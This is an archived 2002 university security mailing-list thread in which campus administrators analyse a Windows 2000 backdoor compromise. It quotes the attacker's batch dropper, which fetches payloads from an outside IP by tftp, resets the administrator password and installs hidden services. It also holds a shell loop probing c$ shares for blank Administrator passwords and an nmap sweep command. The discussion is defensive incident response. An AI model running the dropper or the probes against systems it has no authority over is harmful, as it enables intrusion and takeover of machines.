> Hidden? (Never seen by me)
> 99/tcp <-- Backdoor command shell?
> 
> (**Files Found**)
> C:\Documents and Settings\All Users\Start Menu\Programs\Startup
> rudl32.exe
> sxe3.tmp
> sxe4.tmp
> sxe5.tmp
> 
> Other files mentioned at
> http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html
> 
> @llen
> Network Security
> Office of Residential Computing
> UC Berkeley
> 
> 


-- 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Jeff Bollinger
University of North Carolina
IT Security Analyst
105 Abernethy Hall
mailto: jeff_bollinger at ...6831... dot edu
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjygx5sACgkQr07iNdAwCVN0UACfeNdXrqVapDreSWSGWjquOOBR
+B8AnAjv3RqruOr8xWY7+xQ03qvGRhPz
=UYVI
-----END PGP SIGNATURE-----


>From mnx at ...6827... Thu May  2 23:42:02 2002
Date: Wed, 3 Apr 2002 10:06:35 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Mark Newman <mnx at ...6827...>
To: jeff_bollinger at ...6832..., Jeff Bollinger <jeff01 at ...6830...>,
     Allen Chang <allen at ...6829...>
Cc: unisog at ...695..., security at ...6829...

Anyone found a conclusive writeup on this?

Mark Newman
University of Tennessee

On Monday 01 April 2002 09:48 am, Jeff Bollinger wrote:
> More on this attack.  Here is the actual .bat file used by the attacker
> which gives some great clues:
>
> ----
>
> @echo off
> c:
> cd c:\winnt\system32\vmn32
> mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
> attrib +s +r +h \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
> kill sxe*
> kill temp.exe
> del ..\2*.ocx
> del ..\32*.ocx
> del ..\temp2.exe
> PATH=%PATH%;c:\winnt\system32
> move firedaem.exe firedaemon.exe
> del c:\winnt\system32\vmn32.exe
> attrib *.* -r /s
> attrib +s +h +r c:\winnt\system32\vmn32
> attrib c:\winnt\system32\vmn32\asp +s +h
> attrib c:\winnt\system32\vmn32\aspc +s +h
> tftp -i 12.233.26.173 GET ir2.conf c:\winnt\system32\vmn32\asp\ir.conf
> tftp -i 12.233.26.173 GET xir.conf c:\winnt\system32\vmn32\aspc\ir.conf
> tftp -i 12.233.26.173 GET barm8.gif c:\winnt\system32\vmn32\barm8.gif
> attrib *.* -r /s
> net user administrator changem
> net share /delete ipc$
> SET MXHOME=c:\winnt\system32\vmn32
> SET MXBIN=c:\winnt\system32\vmn32
> c:\winnt\system32\vmn32\firedaemon -i Ms32dll "c:\winnt\system32\vmn32"
>
"c:\winnt\system32\vmn32\lsass.exe" "c:\winnt\system32\vmn32\barm8.gif" Y
0
> 0 Y Y
> c:\winnt\system32\vmn32\firedaemon -i SVHOST
"c:\winnt\system32\vmn32\asp"
> "c:\winnt\system32\vmn32\asp\SVHOST.EXE"
> "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y
> c:\winnt\system32\vmn32\firedaemon -i MSVC5
"c:\winnt\system32\vmn32\aspc"
> "c:\winnt\system32\vmn32\aspc\SVHOST.EXE"
> "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y
> c:\winnt\system32\vmn32\services start Ms32dll
> c:\winnt\system32\vmn32\services start SVHOST
> c:\winnt\system32\vmn32\services start MSVC5
> echo REGEDIT4  1>>root.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >>
root.reg
> echo "restrictanonymous"="1" >> root.reg
> echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >>
root.reg
> echo "NTLM"="2" >> root.reg
> regedit /S root.reg
> del root.reg
> services stop tlntsvr
> services delete tlntsvr
> services stop lmhosts
> services start lmhosts
> services start NtLmSsp
> services stop PSEXESVC
> services delete PSEXESVC
>
> Allen Chang wrote:
> > Apologies if I break the thread...
> >
> > Here's my analysis of the compromised computers. First of all, this is
> > not the Backdoor.darkIRC detected by antivirus programs. This backdoor
is
> > not detected by the latest NAV patterns.
> >
> > I'm guessing that these computer were compromised through the
> > administrative share with no administrator password on Windows 2000.
> >
> > *A rouge lsass.exe (with a red u and a smaller green d icon) was
> > installed as a service using firedaemon.exe (or firedaem.exe). You can
> > check for it under Administrative Tools -> Services. The one on our
hosts
> > was called ms32dll *Several .tmp files and a rudl32.exe are dropped in
> > the Startup folder but the .tmp  files don't seem to run.
> > *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC
> > configurations(ir.con) seem to indicate that they are set up as XDCC
> > file-serving bots.
> >
> > Judging from this, one should be able to remove the service with a
> > "firedaemon -u ms32dll" This seems to close all the opened ports but I
am
> > unsure as to what other damage may have been done.
> >
> > On all the hosts, nmap found the following ports open:
> > Port       State       Service
> > 132/tcp    open        cisco-sys <--tlntsvr.exe (telnet)
> > 135/tcp    open        loc-srv <--svchost.exe
> > 139/tcp    open        netbios-ssn <--NetBIOS sharing (normal)
> > 445/tcp    open        microsoft-ds <-Windows sharing (kind of normal)
> > 1025/tcp   open        listen <--mstask.exe (normal)
> > 8888/tcp   open        sun-answerbook <-- sxe5.tmp (backdoor client)
> >
> > Running Vision 1.0 (www.foundstone.com) on the compromised computers
> > yielded these additional ports and programs bound to them:
> > 1029/tcp  <-- sxe5.tmp
> > 1031/tcp <-- sxe5.tmp
> > 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused
with
> > the other lsass.exe from MS
> > 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe
> >
> > According to vmn\ServUStartUpLog.txt (Not confirmed)
> > 3112 <-- ftp
> >
> > Hidden? (Never seen by me)
> > 99/tcp <-- Backdoor command shell?
> >
> > (**Files Found**)
> > C:\Documents and Settings\All Users\Start Menu\Programs\Startup
> > rudl32.exe
> > sxe3.tmp
> > sxe4.tmp
> > sxe5.tmp
> >
> > Other files mentioned at
> > http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html
> >
> > @llen
> > Network Security
> > Office of Residential Computing
> > UC Berkeley


>From huba at ...6833... Thu May  2 23:42:02 2002
Date: Wed, 3 Apr 2002 09:03:01 -0800
Subject: RE: [unisog] Re: Coordinated Scan
From: Huba Leidenfrost <huba at ...6833...>
To: mnx at ...6827..., jeff_bollinger at ...6832..., Jeff Bollinger
<jeff01 at ...6830...>,
     Allen Chang <allen at ...6829...>
Cc: unisog at ...695..., security at ...6829...

We fired off sample copies of what we saw here (as probably did many
of you) to SOPHOS, NAV, & F-Secure.  F-Secure now has detection for
this and I'm sure the others will follow. 

I haven't seen a conclusive writeup.  However it would appear that
this is just another rendition of the global threat (GT Bot) as
mentioned earlier (http://bots.lockdowncorp.com/gtbot.html). 
Although we still don't know exactly what the dropper was I'm
inclined to believe that the reason was simply poor user habits in
terms of surfing and password settings.  All the systems we saw
hacked were 2000 Professional where the user had set their
administrator password to nothing.

   H  u  b  a
-                                                     
HUBA LEIDENFROST           Systems Security Analyst   
huba at ...6833...     Information Technology Services  
University Of Idaho      TEL/FAX: 208.885.2126/7539
http://www.its.uidaho.edu/info-security/runsafe.htm  
 
-----Original Message-----
From: Mark Newman [mailto:mnx at ...6827...]
Sent: Wednesday, April 03, 2002 7:07 AM
To: jeff_bollinger at ...6832...; Jeff Bollinger; Allen Chang
Cc: unisog at ...695...; security at ...6829...
Subject: Re: [unisog] Re: Coordinated Scan


Anyone found a conclusive writeup on this?

Mark Newman
University of Tennessee

On Monday 01 April 2002 09:48 am, Jeff Bollinger wrote:
> More on this attack.  Here is the actual .bat file used by the
> attacker which gives some great clues:
>
> ----
>
> @echo off
> c:
> cd c:\winnt\system32\vmn32
> mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
> attrib +s +r +h
> \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 kill sxe*
> kill temp.exe
> del ..\2*.ocx
> del ..\32*.ocx
> del ..\temp2.exe
> PATH=%PATH%;c:\winnt\system32
> move firedaem.exe firedaemon.exe
> del c:\winnt\system32\vmn32.exe
> attrib *.* -r /s
> attrib +s +h +r c:\winnt\system32\vmn32
> attrib c:\winnt\system32\vmn32\asp +s +h
> attrib c:\winnt\system32\vmn32\aspc +s +h
> tftp -i 12.233.26.173 GET ir2.conf
> c:\winnt\system32\vmn32\asp\ir.conf tftp -i 12.233.26.173 GET
> xir.conf c:\winnt\system32\vmn32\aspc\ir.conf tftp -i 12.233.26.173
> GET barm8.gif c:\winnt\system32\vmn32\barm8.gif attrib *.* -r /s
> net user administrator changem
> net share /delete ipc$
> SET MXHOME=c:\winnt\system32\vmn32
> SET MXBIN=c:\winnt\system32\vmn32
> c:\winnt\system32\vmn32\firedaemon -i Ms32dll
> "c:\winnt\system32\vmn32" "c:\winnt\system32\vmn32\lsass.exe"
> "c:\winnt\system32\vmn32\barm8.gif" Y 0 0 Y Y
> c:\winnt\system32\vmn32\firedaemon -i SVHOST
> "c:\winnt\system32\vmn32\asp"
> "c:\winnt\system32\vmn32\asp\SVHOST.EXE"
> "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y
> c:\winnt\system32\vmn32\firedaemon -i MSVC5 
> "c:\winnt\system32\vmn32\aspc"
> "c:\winnt\system32\vmn32\aspc\SVHOST.EXE"
> "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y
> c:\winnt\system32\vmn32\services start Ms32dll
> c:\winnt\system32\vmn32\services start SVHOST
> c:\winnt\system32\vmn32\services start MSVC5
> echo REGEDIT4  1>>root.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >>
> root.reg echo "restrictanonymous"="1" >> root.reg
> echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >>
> root.reg echo "NTLM"="2" >> root.reg
> regedit /S root.reg
> del root.reg
> services stop tlntsvr
> services delete tlntsvr
> services stop lmhosts
> services start lmhosts
> services start NtLmSsp
> services stop PSEXESVC
> services delete PSEXESVC
>
> Allen Chang wrote:
> > Apologies if I break the thread...
> >
> > Here's my analysis of the compromised computers. First of all,
> > this is not the Backdoor.darkIRC detected by antivirus programs.
> > This backdoor is not detected by the latest NAV patterns.
> >
> > I'm guessing that these computer were compromised through the
> > administrative share with no administrator password on Windows
> > 2000. 
> >
> > *A rouge lsass.exe (with a red u and a smaller green d icon) was
> > installed as a service using firedaemon.exe (or firedaem.exe).
> > You can check for it under Administrative Tools -> Services. The
> > one on our hosts was called ms32dll *Several .tmp files and a
> > rudl32.exe are dropped in the Startup folder but the .tmp  files
> > don't seem to run.
> > *Serve-U FTP, IRC and telnet servers are run on various ports.
> > The IRC configurations(ir.con) seem to indicate that they are set
> > up as XDCC file-serving bots.
> >
> > Judging from this, one should be able to remove the service with
> > a "firedaemon -u ms32dll" This seems to close all the opened
> > ports but I am unsure as to what other damage may have been done.
> >
> > On all the hosts, nmap found the following ports open:
> > Port       State       Service
> > 132/tcp    open        cisco-sys <--tlntsvr.exe (telnet)
> > 135/tcp    open        loc-srv <--svchost.exe
> > 139/tcp    open        netbios-ssn <--NetBIOS sharing (normal)
> > 445/tcp    open        microsoft-ds <-Windows sharing (kind of
> > normal) 1025/tcp   open        listen <--mstask.exe (normal)
> > 8888/tcp   open        sun-answerbook <-- sxe5.tmp (backdoor
> > client) 
> >
> > Running Vision 1.0 (www.foundstone.com) on the compromised
> > computers yielded these additional ports and programs bound to
> > them:
> > 1029/tcp  <-- sxe5.tmp
> > 1031/tcp <-- sxe5.tmp
> > 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be
> > confused with the other lsass.exe from MS
> > 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe
> >
> > According to vmn\ServUStartUpLog.txt (Not confirmed)
> > 3112 <-- ftp
> >
> > Hidden? (Never seen by me)
> > 99/tcp <-- Backdoor command shell?
> >
> > (**Files Found**)
> > C:\Documents and Settings\All Users\Start Menu\Programs\Startup
> > rudl32.exe
> > sxe3.tmp
> > sxe4.tmp
> > sxe5.tmp
> >
> > Other files mentioned at
> > http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html
> >
> > @llen
> > Network Security
> > Office of Residential Computing
> > UC Berkeley

*** Not encrypted nor signed data is left

 


*** End of not encrypted nor signed data


>From huba at ...6833... Thu May  2 23:42:05 2002
Date: Wed, 3 Apr 2002 09:47:16 -0800
Subject: RE: [unisog] Re: Coordinated Scan
From: Huba Leidenfrost <huba at ...6833...>
To: mnx at ...6827..., jeff_bollinger at ...6832..., Jeff Bollinger
<jeff01 at ...6830...>,
     Allen Chang <allen at ...6829...>
Cc: unisog at ...695..., security at ...6829...

Correction: F-Secure doesn't have a signature out yet for this.  They
are still testing it.  The fix they gave us didn't clean everything
up.  Looks like they will call it some rendition of "darkIRC."

   H  u  b  a
-                                                     
HUBA LEIDENFROST           Systems Security Analyst   
huba at ...6833...     Information Technology Services  
University Of Idaho      TEL/FAX: 208.885.2126/7539
http://www.its.uidaho.edu/info-security/runsafe.htm  
 

*** Not encrypted nor signed data is left

 


*** End of not encrypted nor signed data


>From terry.cavender at ...758... Thu May  2 23:42:07 2002
Date: Wed, 03 Apr 2002 18:12:10 -0600
Subject: RE: [unisog] Re: Coordinated Scan
From: Terry Cavender <terry.cavender at ...758...>
To: unisog at ...695...

You may also want to read this and note the security warning at the
bottom.

	http://www.firedaemon.com/

Seems like a good product.


--On Wednesday, April 03, 2002 9:03 AM -0800 Huba Leidenfrost
<huba at ...6833...> wrote:

>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> We fired off sample copies of what we saw here (as probably did many
> of you) to SOPHOS, NAV, & F-Secure.  F-Secure now has detection for
> this and I'm sure the others will follow.
>
> I haven't seen a conclusive writeup.  However it would appear that
> this is just another rendition of the global threat (GT Bot) as
> mentioned earlier (http://bots.lockdowncorp.com/gtbot.html).
> Although we still don't know exactly what the dropper was I'm
> inclined to believe that the reason was simply poor user habits in
> terms of surfing and password settings.  All the systems we saw
> hacked were 2000 Professional where the user had set their
> administrator password to nothing.
>
>    H  u  b  a
> - -
> HUBA LEIDENFROST           Systems Security Analyst
> huba at ...6833...     Information Technology Services
> University Of Idaho      TEL/FAX: 208.885.2126/7539
> http://www.its.uidaho.edu/info-security/runsafe.htm
>
> - -----Original Message-----
> From: Mark Newman [mailto:mnx at ...6827...]
> Sent: Wednesday, April 03, 2002 7:07 AM
> To: jeff_bollinger at ...6832...; Jeff Bollinger; Allen Chang
> Cc: unisog at ...695...; security at ...6829...
> Subject: Re: [unisog] Re: Coordinated Scan
>
>
> Anyone found a conclusive writeup on this?
>
> Mark Newman
> University of Tennessee
>
> On Monday 01 April 2002 09:48 am, Jeff Bollinger wrote:
>> More on this attack.  Here is the actual .bat file used by the
>> attacker which gives some great clues:
>>
>> ----
>>
>> @echo off
>> c:
>> cd c:\winnt\system32\vmn32
>> mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
>> attrib +s +r +h
>> \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 kill sxe*
>> kill temp.exe
>> del ..\2*.ocx
>> del ..\32*.ocx
>> del ..\temp2.exe
>> PATH=%PATH%;c:\winnt\system32
>> move firedaem.exe firedaemon.exe
>> del c:\winnt\system32\vmn32.exe
>> attrib *.* -r /s
>> attrib +s +h +r c:\winnt\system32\vmn32
>> attrib c:\winnt\system32\vmn32\asp +s +h
>> attrib c:\winnt\system32\vmn32\aspc +s +h
>> tftp -i 12.233.26.173 GET ir2.conf
>> c:\winnt\system32\vmn32\asp\ir.conf tftp -i 12.233.26.173 GET
>> xir.conf c:\winnt\system32\vmn32\aspc\ir.conf tftp -i 12.233.26.173
>> GET barm8.gif c:\winnt\system32\vmn32\barm8.gif attrib *.* -r /s
>> net user administrator changem
>> net share /delete ipc$
>> SET MXHOME=c:\winnt\system32\vmn32
>> SET MXBIN=c:\winnt\system32\vmn32
>> c:\winnt\system32\vmn32\firedaemon -i Ms32dll
>> "c:\winnt\system32\vmn32" "c:\winnt\system32\vmn32\lsass.exe"
>> "c:\winnt\system32\vmn32\barm8.gif" Y 0 0 Y Y
>> c:\winnt\system32\vmn32\firedaemon -i SVHOST
>> "c:\winnt\system32\vmn32\asp"
>> "c:\winnt\system32\vmn32\asp\SVHOST.EXE"
>> "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y
>> c:\winnt\system32\vmn32\firedaemon -i MSVC5
>> "c:\winnt\system32\vmn32\aspc"
>> "c:\winnt\system32\vmn32\aspc\SVHOST.EXE"
>> "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y
>> c:\winnt\system32\vmn32\services start Ms32dll
>> c:\winnt\system32\vmn32\services start SVHOST
>> c:\winnt\system32\vmn32\services start MSVC5
>> echo REGEDIT4  1>>root.reg
>> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >>
>> root.reg echo "restrictanonymous"="1" >> root.reg
>> echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >>
>> root.reg echo "NTLM"="2" >> root.reg
>> regedit /S root.reg
>> del root.reg
>> services stop tlntsvr
>> services delete tlntsvr
>> services stop lmhosts
>> services start lmhosts
>> services start NtLmSsp
>> services stop PSEXESVC
>> services delete PSEXESVC
>>
>> Allen Chang wrote:
>> > Apologies if I break the thread...
>> >
>> > Here's my analysis of the compromised computers. First of all,
>> > this is not the Backdoor.darkIRC detected by antivirus programs.
>> > This backdoor is not detected by the latest NAV patterns.
>> >
>> > I'm guessing that these computer were compromised through the
>> > administrative share with no administrator password on Windows
>> > 2000.
>> >
>> > *A rouge lsass.exe (with a red u and a smaller green d icon) was
>> > installed as a service using firedaemon.exe (or firedaem.exe).
>> > You can check for it under Administrative Tools -> Services. The
>> > one on our hosts was called ms32dll *Several .tmp files and a
>> > rudl32.exe are dropped in the Startup folder but the .tmp  files
>> > don't seem to run.
>> > *Serve-U FTP, IRC and telnet servers are run on various ports.
>> > The IRC configurations(ir.con) seem to indicate that they are set
>> > up as XDCC file-serving bots.
>> >
>> > Judging from this, one should be able to remove the service with
>> > a "firedaemon -u ms32dll" This seems to close all the opened
>> > ports but I am unsure as to what other damage may have been done.
>> >
>> > On all the hosts, nmap found the following ports open:
>> > Port       State       Service
>> > 132/tcp    open        cisco-sys <--tlntsvr.exe (telnet)
>> > 135/tcp    open        loc-srv <--svchost.exe
>> > 139/tcp    open        netbios-ssn <--NetBIOS sharing (normal)
>> > 445/tcp    open        microsoft-ds <-Windows sharing (kind of
>> > normal) 1025/tcp   open        listen <--mstask.exe (normal)
>> > 8888/tcp   open        sun-answerbook <-- sxe5.tmp (backdoor
>> > client)
>> >
>> > Running Vision 1.0 (www.foundstone.com) on the compromised
>> > computers yielded these additional ports and programs bound to
>> > them:
>> > 1029/tcp  <-- sxe5.tmp
>> > 1031/tcp <-- sxe5.tmp
>> > 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be
>> > confused with the other lsass.exe from MS
>> > 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe
>> >
>> > According to vmn\ServUStartUpLog.txt (Not confirmed)
>> > 3112 <-- ftp
>> >
>> > Hidden? (Never seen by me)
>> > 99/tcp <-- Backdoor command shell?
>> >
>> > (**Files Found**)
>> > C:\Documents and Settings\All Users\Start Menu\Programs\Startup
>> > rudl32.exe
>> > sxe3.tmp
>> > sxe4.tmp
>> > sxe5.tmp
>> >
>> > Other files mentioned at
>> > http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html
>> >
>> > @llen
>> > Network Security
>> > Office of Residential Computing
>> > UC Berkeley
>
> -----BEGIN PGP SIGNATURE-----
> Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
>
> iQA/AwUBPKs1w0pG2S0cMeJwEQLFlACg8TqRo7lO2jLMymLhvEME+CqROfEAoL1M
> 7H4fhOGU2CbFeKshjk8aZHHm
> =8+bO
> -----END PGP SIGNATURE-----
>



-----------------------------------------------------------------
Terry Cavender
Network Security Officer
Vanderbilt University
http://www.vanderbilt.edu/its/security
WK: 615-343-3494 Fx: 615-343-1605
terry.cavender at ...759...


>From jtillots at ...6834... Thu May  2 23:42:07 2002
Date: Thu, 4 Apr 2002 09:04:10 -0500 (EST)
Subject: RE: [unisog] Re: Coordinated Scan
From: Jenett Tillotson <jtillots at ...6834...>
To: unisog at ...695...


Let me also add that I think this was the result of poor user habits.  3
of the boxes that were broken into had a blank administrator password.
Also, there were logs of other attempts on campus where one box had 160
attempts to log into an account with administrator privileges.

What puzzles me is that none of the accounts involved were actually the
administrator account, but another account with administrator privilege.
Excuse my ignorance with Microsoft products, but how does a hacker find
out the usernames on a Windows box?

Jenett Tillotson
School of Pharmacy
Purdue University

On Wed, 3 Apr 2002, Terry Cavender wrote:

> You may also want to read this and note the security warning at the
bottom.
>
> 	http://www.firedaemon.com/
>
> Seems like a good product.
>
>
> --On Wednesday, April 03, 2002 9:03 AM -0800 Huba Leidenfrost
<huba at ...6833...> wrote:
>
> >
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > We fired off sample copies of what we saw here (as probably did many
> > of you) to SOPHOS, NAV, & F-Secure.  F-Secure now has detection for
> > this and I'm sure the others will follow.
> >
> > I haven't seen a conclusive writeup.  However it would appear that
> > this is just another rendition of the global threat (GT Bot) as
> > mentioned earlier (http://bots.lockdowncorp.com/gtbot.html).
> > Although we still don't know exactly what the dropper was I'm
> > inclined to believe that the reason was simply poor user habits in
> > terms of surfing and password settings.  All the systems we saw
> > hacked were 2000 Professional where the user had set their
> > administrator password to nothing.
> >
> >    H  u  b  a
> > - -
> > HUBA LEIDENFROST           Systems Security Analyst
> > huba at ...6833...     Information Technology Services
> > University Of Idaho      TEL/FAX: 208.885.2126/7539
> > http://www.its.uidaho.edu/info-security/runsafe.htm
> >


>From paland at ...6835... Thu May  2 23:42:07 2002
Date: Thu, 4 Apr 2002 09:54:36 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Patrick Aland <paland at ...6835...>
To: Jenett Tillotson <jtillots at ...6834...>
Cc: unisog at ...695...

null session enumeration is one easy way.

There is a rather nice perl script called null.pl (don't have url handy)
that will get you a list of usernames, shares, etc on a machine.


On Thu, Apr 04, 2002 at 09:04:10AM -0500, Jenett Tillotson wrote:
> 
> Let me also add that I think this was the result of poor user habits.  3
> of the boxes that were broken into had a blank administrator password.
> Also, there were logs of other attempts on campus where one box had 160
> attempts to log into an account with administrator privileges.
> 
> What puzzles me is that none of the accounts involved were actually the
> administrator account, but another account with administrator privilege.
> Excuse my ignorance with Microsoft products, but how does a hacker find
> out the usernames on a Windows box?
> 
> Jenett Tillotson
> School of Pharmacy
> Purdue University
> 
-- 
------------------------------------------------------------
 Patrick Aland                          paland at ...6835...
 Network Administrator                  Voice: 386.822.7217
 Stetson University                     Fax: 386.822.7367
------------------------------------------------------------

    [ Part 2, Application/PGP-SIGNATURE  240bytes. ]
    [ Unable to print this part. ]


>From andy at ...2878... Thu May  2 23:42:07 2002
Date: Thu, 4 Apr 2002 11:01:38 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Anderson Johnston <andy at ...2878...>
To: Patrick Aland <paland at ...6835...>
Cc: Jenett Tillotson <jtillots at ...6834...>, unisog at ...695...


There is also a Windows utility called "Winfingerprint" which scans an IP
range for a menu of items like:

NetBios shares
Groups
Users
Null Sessions
Registry
Services
Transports
TCP port scan

See http://sourceforge.net/projects/winfingerprint/

						- andy

On Thu, 4 Apr 2002, Patrick Aland wrote:

> null session enumeration is one easy way.
>
> There is a rather nice perl script called null.pl (don't have url handy)
> that will get you a list of usernames, shares, etc on a machine.
>
>
> On Thu, Apr 04, 2002 at 09:04:10AM -0500, Jenett Tillotson wrote:
> >
> > Let me also add that I think this was the result of poor user
habits.  3
> > of the boxes that were broken into had a blank administrator password.
> > Also, there were logs of other attempts on campus where one box had
160
> > attempts to log into an account with administrator privileges.
> >
> > What puzzles me is that none of the accounts involved were actually
the
> > administrator account, but another account with administrator
privilege.
> > Excuse my ignorance with Microsoft products, but how does a hacker
find
> > out the usernames on a Windows box?
> >
> > Jenett Tillotson
> > School of Pharmacy
> > Purdue University
> >
> --
> ------------------------------------------------------------
>  Patrick Aland                          paland at ...6835...
>  Network Administrator                  Voice: 386.822.7217
>  Stetson University                     Fax: 386.822.7367
> ------------------------------------------------------------
>

------------------------------------------------------------------------------
** Andy Johnston (andy at ...2878...)          *            pager: 410-678-8949
**
** Manager of IT Security                 * PGP
key:(afj2002) 4096/8448B056 **
** Office of Information Technology, UMBC *   4A B4 96 64 D9 B6 EF E3 21
9A **
** 410-455-2583 (v)/410-455-1065 (f)      *   46 1A 37 11 F5 6C 84 48 B0
56 **
------------------------------------------------------------------------------


>From pgoverts at ...6836... Thu May  2 23:42:07 2002
Date: Thu, 4 Apr 2002 11:15:46 -0500 
Subject: RE: [unisog] Re: Coordinated Scan
From: "Goverts IV, Paul" <pgoverts at ...6836...>
To: "'unisog at ...695...'" <unisog at ...695...>

It's especially easy if you have a tool such as Nessus, where one of the
plugins actually queries the PC for netbios information, and it can not
only
return the names of users that use that PC, but potentially also the names
of other PC's that the PC has browsed on Network Neighborhood.

Paul

-----Original Message-----
From: Jenett Tillotson [mailto:jtillots at ...6834...] 
Sent: Thursday, April 04, 2002 9:04 AM
To: unisog at ...695...
Subject: RE: [unisog] Re: Coordinated Scan


Let me also add that I think this was the result of poor user habits.  3
of the boxes that were broken into had a blank administrator password.
Also, there were logs of other attempts on campus where one box had 160
attempts to log into an account with administrator privileges.

What puzzles me is that none of the accounts involved were actually the
administrator account, but another account with administrator privilege.
Excuse my ignorance with Microsoft products, but how does a hacker find
out the usernames on a Windows box?

Jenett Tillotson
School of Pharmacy
Purdue University

On Wed, 3 Apr 2002, Terry Cavender wrote:

> You may also want to read this and note the security warning at the
bottom.
>
> 	http://www.firedaemon.com/
>
> Seems like a good product.
>
>
> --On Wednesday, April 03, 2002 9:03 AM -0800 Huba Leidenfrost
<huba at ...6833...> wrote:
>
> >
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > We fired off sample copies of what we saw here (as probably did many
> > of you) to SOPHOS, NAV, & F-Secure.  F-Secure now has detection for
> > this and I'm sure the others will follow.
> >
> > I haven't seen a conclusive writeup.  However it would appear that
> > this is just another rendition of the global threat (GT Bot) as
> > mentioned earlier (http://bots.lockdowncorp.com/gtbot.html).
> > Although we still don't know exactly what the dropper was I'm
> > inclined to believe that the reason was simply poor user habits in
> > terms of surfing and password settings.  All the systems we saw
> > hacked were 2000 Professional where the user had set their
> > administrator password to nothing.
> >
> >    H  u  b  a
> > - -
> > HUBA LEIDENFROST           Systems Security Analyst
> > huba at ...6833...     Information Technology Services
> > University Of Idaho      TEL/FAX: 208.885.2126/7539
> > http://www.its.uidaho.edu/info-security/runsafe.htm
> >


>From reggers at ...6837... Thu May  2 23:42:07 2002
Date: Mon, 8 Apr 2002 14:06:26 -0400
Subject: Re: [unisog] Re: Coordinated Scan
From: Reg Quinton <reggers at ...6837...>
To: Jenett Tillotson <jtillots at ...6834...>, unisog at ...695...

> Excuse my ignorance with Microsoft products, but how does a hacker find
> out the usernames on a Windows box?

I'm very ignorant about Microsoft products but.....

1). The Microsoft Personal Security Advisor at

http://www.microsoft.com/technet/mpsa/start.asp

is a self-service page to help one with security settings, patches and
more. One of those security settings:

http://www.microsoft.com/technet/mpsa/anonymous.asp

has these values:

    0 - "None. Rely on default permissions" 
    1 - "Do not allow enumeration of SAM accounts and names" 
    2 - "No access without explicit anonymous permissions" (not available
on Windows NT 4) 

It's apparent that you can lock down a machine to stop the information
leak (but don't try this setting on an Active Directory server ;-)

2). The "null.pl" mentioned in another response is found at:

http://patriot.net/~carvdawg/scripts/null.pl

But I've not tried it. Especially to see if the setting in 1) above stops 
the information leak

3). I did a very simple scan of our campus searching for open c$ shares
accessible by Administrator with "" password using smbclient. I used
nmap to find those machines that look like Windows and piped that
through this:

[2:02pm ist] more SmbProbe 
#!/bin/sh
#
# Foreach IP number provided, determine if the site has an open admin
passwd.

while read ip; do
        echo quit |\
        smbclient "//$ip/c\$" '' -U Administrator >/dev/null 2>&1 && echo
$ip
done

I found open systems... of course. You will to if you scan your campus.




>From reggers at ...6837... Thu May  2 23:42:07 2002
Date: Mon, 8 Apr 2002 16:25:08 -0400
Subject: Re: [unisog] Re: Coordinated Scan
From: Reg Quinton <reggers at ...6837...>
To: unisog at ...695...

> accessible by Administrator with "" password using smbclient. I used
> nmap to find those machines that look like Windows

For the record, since some have asked, to find Windows machines 
I did this:

nmap -p135,445 -oM - 129.97.1-254.1-254 |\
    awk '/\/open\// {print $2}'

To find anyone with port 135 or 445 open. Those
are the traditional and new SMB services.

That runs fairly fast. Say 30min to scan our class B
net.

I hope this helps.



>From andy at ...2878... Thu May  2 23:42:07 2002
Date: Mon, 8 Apr 2002 17:01:09 -0400
Subject: Re: [unisog] Re: Coordinated Scan
From: Anderson Johnston <andy at ...2878...>
To: Reg Quinton <reggers at ...6837...>
Cc: unisog at ...695...


I've found that the "-T aggressive" option speeds things up as well
without causing any actual damage.
						- andy
On Mon, 8 Apr 2002, Reg Quinton wrote:

> > accessible by Administrator with "" password using smbclient. I used
> > nmap to find those machines that look like Windows
>
> For the record, since some have asked, to find Windows machines
> I did this:
>
> nmap -p135,445 -oM - 129.97.1-254.1-254 |\
>     awk '/\/open\// {print $2}'
>
> To find anyone with port 135 or 445 open. Those
> are the traditional and new SMB services.
>
> That runs fairly fast. Say 30min to scan our class B
> net.
>
> I hope this helps.
>
>

------------------------------------------------------------------------------
